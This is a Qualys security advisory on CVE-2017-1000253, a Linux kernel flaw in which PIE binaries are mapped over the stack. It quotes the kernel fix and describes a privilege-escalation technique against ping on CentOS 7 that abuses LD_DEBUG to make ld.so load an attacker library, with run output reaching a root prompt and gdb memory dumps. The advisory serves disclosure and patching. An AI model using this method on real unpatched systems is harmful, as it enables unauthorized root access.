Qualys Security Advisory
Linux PIE/stack corruption (CVE-2017-1000253)
========================================================================
Contents
========================================================================
Summary
Analysis
Exploitation
Acknowledgments
========================================================================
Summary
========================================================================
Linux distributions that have not patched their long-term kernels with
https://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86
(committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a
Local Privilege Escalation.
Most notably, all versions of CentOS 7 before 1708 (released on
September 13, 2017), all versions of Red Hat Enterprise Linux 7 before
7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red
Hat Enterprise Linux 6 are exploitable.
========================================================================
Analysis
========================================================================
------------------------------------------------------------------------
Pre-Stack-Clash kernels
------------------------------------------------------------------------
Occasionally, we have noticed a strange behavior with PIEs
(Position-Independent Executables) on CentOS 7:
Linux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0
7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0
7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0
7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso]
7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0
7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE
7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack]
7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE
7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE
7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
rsp 0x7ffbad9a0978
In this example, the kernel's execve() code erroneously mapped the PIE's
read-write segment into the stack memory region, thus corrupting and
dividing the stack into three parts:
- 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the
stack pointer (rsp) points to, after execve() returns to the userland;
- 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced
by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later
mprotect()ed read-only by RELRO), and hence a write to this part of
the stack smashes the PIE's read-write segment, and vice versa;
- 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is
incorrectly displayed as the "[heap]" in /proc/pid/maps (because the
program brk() points there), but is correctly flagged as a stack in
/proc/pid/smaps (the "gd" flag, "grows down").
This kernel vulnerability was fixed in April 2015 by commit
a87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in
May 2015), but it was not recognized as a security threat. This fix was
therefore not backported to long-term distributions such as CentOS:
------------------------------------------------------------------------
From: Michael Davidson <md@google.com>
Date: Tue, 14 Apr 2015 15:47:38 -0700
Subject: fs/binfmt_elf.c: fix bug in loading of PIE binaries
With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down
address allocation strategy, load_elf_binary() will attempt to map a PIE
binary into an address range immediately below mm->mmap_base.
Unfortunately, load_elf_ binary() does not take account of the need to
allocate sufficient space for the entire binary which means that, while
the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent
PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are
that is supposed to be the "gap" between the stack and the binary.
Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this
means that binaries with large data segments > 128MB can end up mapping
part of their data segment over their stack resulting in corruption of the
stack (and the data segment once the binary starts to run).
Any PIE binary with a data segment > 128MB is vulnerable to this although
address randomization means that the actual gap between the stack and the
end of the binary is normally greater than 128MB. The larger the data
segment of the binary the higher the probability of failure.
Fix this by calculating the total size of the binary in the same way as
load_elf_interp().
Signed-off-by: Michael Davidson <md@google.com>
Cc: Alexander Viro <viro@zeniv.linux.org.uk>
Cc: Jiri Kosina <jkosina@suse.cz>
Cc: Kees Cook <keescook@chromium.org>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
---
fs/binfmt_elf.c | 9 ++++++++-
1 file changed, 8 insertions(+), 1 deletion(-)
diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c
index 995986b..d925f55 100644
--- a/fs/binfmt_elf.c
+++ b/fs/binfmt_elf.c
@@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm)
i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {
int elf_prot = 0, elf_flags;
unsigned long k, vaddr;
+ unsigned long total_size = 0;
if (elf_ppnt->p_type != PT_LOAD)
continue;
@@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm)
#else
load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
#endif
+ total_size = total_mapping_size(elf_phdata,
+ loc->elf_ex.e_phnum);
+ if (!total_size) {
+ error = -EINVAL;
+ goto out_free_dentry;
+ }
}
error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
- elf_prot, elf_flags, 0);
+ elf_prot, elf_flags, total_size);
if (BAD_ADDR(error)) {
retval = IS_ERR((void *)error) ?
PTR_ERR((void*)error) : -EINVAL;
------------------------------------------------------------------------
Unfortunately, this vulnerability is not limited to the PIEs whose
read-write segment is larger than 128MB. Indeed, 128MB is the minimum
distance between the mmap_base and the highest address of the stack, not
the lowest address of the stack (CVE-2017-1000379): consequently, and as
shown in our Stack Clash advisory, if we pass 1.5GB of argument strings
to execve(), then any PIE may be mapped directly below the stack (and
trigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on
average, if each run takes 1 second).
------------------------------------------------------------------------
Post-Stack-Clash kernels
------------------------------------------------------------------------
As a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit
for ping on CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and
"3.10.0-514.26.1.el7.x86_64" (the first kernel updates after the Stack
Clash). The PIE/stack layout on these post-Stack-Clash kernels differs
slightly from the layout on pre-Stack-Clash kernels, since the size of
the stack guard-page was increased from 4KB to 1MB:
Linux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0
7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0
7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0
7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso]
7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0
7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE
7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0
7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE
7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE
7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
rsp 0x7ffbaa6d1c18
In this example, the kernel's execve() code also mapped the PIE's
read-write segment into the stack memory region, and divided the stack
into three parts, but:
- 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not
displayed as the "[stack]" in /proc/pid/maps (because rsp does not
point there), but is correctly flagged as a stack in /proc/pid/smaps;
- 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced
by the PIE's read-write segment, and is where rsp points to, after
execve() returns to the userland;
- 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again)
incorrectly displayed as the "[heap]" in /proc/pid/maps, but is
correctly flagged as a stack in /proc/pid/smaps.
Older kernels (such as "3.10.0-514.21.1.el7.x86_64") and newer kernels
(such as "3.10.0-514.26.2.el7.x86_64"), other distributions and other
privileged PIEs (including SUID-root PIEs), are also exploitable, but
the exploitation method must be adapted to slightly different PIE/stack
layouts. This is left as an exercise for the interested reader.
========================================================================
Exploitation
========================================================================
Our CVE-2017-1000253.c exploit for CentOS-7 kernel versions
"3.10.0-514.21.2.el7.x86_64" and "3.10.0-514.26.1.el7.x86_64" is very
similar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the
PIE's .dynamic section with a stack-based string operation, and force
ld.so to load and execute our own shared library), but with two
important differences:
- we do not need to jump over the stack guard-page, because rsp
naturally points into the PIE's read-write segment after we trigger
CVE-2017-1000253;
- on 64-bit, all .dynamic tags contain null-bytes, a serious problem if
we want to smash the .dynamic section with a null-terminated string.
To solve this problem, we smash the .dynamic section with multiple calls
to process_dl_debug(), a function called by process_envvars() very early
in dl_main(), before elf_get_dynamic_info() parses the .dynamic section.
process_dl_debug() is called for each LD_DEBUG environment variable, and
calls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option
in LD_DEBUG, thus allowing us to smash the .dynamic section with
multiple null-terminated strings, and hence multiple null-bytes.
Unfortunately, the .dynamic entries that we build on the stack with
process_dl_debug():
- DT_SYMTAB (tag 0x0000000000000006, value unused);
- DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's
read-execute segment) to our own .dynstr section -- this is later
transformed by elf_get_dynamic_info() into an absolute address,
allowing us to bypass ASLR;
- DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr
section) to the pathname of our own shared library -- we use offset
0x238+1 into the PIE's read-execute segment, where the string
"lib64/ld-linux-x86-64.so.2" is always stored;
- DT_NULL (tag 0x0000000000000000, value unused);
are partially destroyed by the stack-frames of further function calls
(_dl_error_printf(), for example). Our solution to this problem is very
specific to CentOS 7, and restricts this particular exploit to the PIEs
whose .dynamic section's address modulo 16 is equal to 8:
- we build our .dynamic tags through a stack variable used by memcpy()
to store the address modulo 16 of the unknown options in LD_DEBUG;
- we store our .dynamic values in an unused slot of process_dl_debug()'s
stack-frame.
One last, unexpected problem with this particular exploit is that rsp
can never point into the highest part of the stack (after the kernel's
execve() code divided the stack into three parts): indeed, the kernel's
page-fault handler would then try to insert a stack guard-page below the
highest part of the stack, and would SIGKILL our process because the
PIE's read-write segment is already mapped there.
The solution to this problem is simple, but further restricts this
particular exploit to the PIEs whose read-write segment is large enough
to encompass rsp: the kernel's page-fault handler will not try to insert
a stack guard-page there, because the PIE's read-write segment is not
flagged as a stack (VM_GROWSDOWN). For example, on a default, minimal
CentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and
exploitable:
[user@localhost tmp]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
...
[user@localhost tmp]$ readelf -a /usr/bin/ping
...
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
...
LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58
0x0000000000000988 0x00000000000241e8 RW 200000
DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78
0x0000000000000240 0x0000000000000240 RW 8
...
[user@localhost tmp]$ ./CVE-2017-1000253 /usr/bin/ping
argv_size 101903
smash_size 36864
hi_smash_size 18432
lo_smash_size 18432
probability 1/16028
try 1 1.409649 exited 2
try 2 1.097508 exited 2
try 3 1.060084 exited 2
try 4 1.059042 exited 2
try 5 1.090841 exited 2
try 6 1.068993 exited 2
try 7 1.093662 exited 2
...
try 3411 1.018799 exited 2
try 3412 1.022255 exited 2
try 3413 1.022062 exited 2
try 3414 1.061316 exited 2
try 3415 1.024066 exited 2
try 3416 1.024864 exited 2
try 3417 1.043867 exited 2
Pid: 6301
Uid: 1000 1000 1000
Gid: 1000 1000 1000
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
[root@localhost tmp]# cat /proc/6301/status
Name: ping
...
Pid: 6301
...
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
...
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
...
[root@localhost tmp]# cat /proc/6301/maps
7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so
7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0
7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2
7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2
7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2
7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2
7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0
7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0
7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso]
7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so
7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0
7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping
7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0
7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping
7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping
7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack]
7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
[root@localhost tmp]# gdb /usr/bin/ping 6301
...
(gdb) x/16384xg 0x7ffbc6130000 + 8
0x7ffbc6130008: 0x4141414141414141 0x4141414141414141
0x7ffbc6130018: 0x4141414141414141 0x4141414141414141
0x7ffbc6130028: 0x4141414141414141 0x4141414141414141
0x7ffbc6130038: 0x4141414141414141 0x4141414141414141
0x7ffbc6130048: 0x4141414141414141 0x4141414141414141
0x7ffbc6130058: 0x4141414141414141 0x4141414141414141
0x7ffbc6130068: 0x4141414141414141 0x4141414141414141
...
0x7ffbc6132678: 0x4141414141414141 0x4141414141414141
0x7ffbc6132688: 0x4141414141414141 0x4141414141414141
0x7ffbc6132698: 0x4141414141414141 0x4141414141414141
0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141
0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141
0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141
0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700
0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041
0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888
0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141
0x7ffbc6132718: 0x4141414141414141 0x4141414141414141
0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740
0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141
0x7ffbc6132748: 0x4141414141414141 0x4141414141414141
0x7ffbc6132758: 0x4141414141414141 0x4141414141414141
0x7ffbc6132768: 0x4141414141414141 0x4141414141414141
0x7ffbc6132778: 0x4141414141414141 0x4141414141414141
0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700
0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041
0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1
0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141
0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141
0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0
0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141
0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141
0x7ffbc6132808: 0x4141414141414141 0x4141414141414141
0x7ffbc6132818: 0x4141414141414141 0x4141414141414141
0x7ffbc6132828: 0x4141414141414141 0x4141414141414141
0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800
0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041
0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848
0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141
0x7ffbc6132878: 0x4141414141414141 0x4141414141414141
0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0
0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141
0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141
0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141
0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141
0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141
0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141
0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141
...
(gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1
0x7ffbc5f23239: "lib64/ld-linux-x86-64.so.2"
========================================================================
Acknowledgments
========================================================================
We thank Red Hat and the members of the linux-distros@openwall list.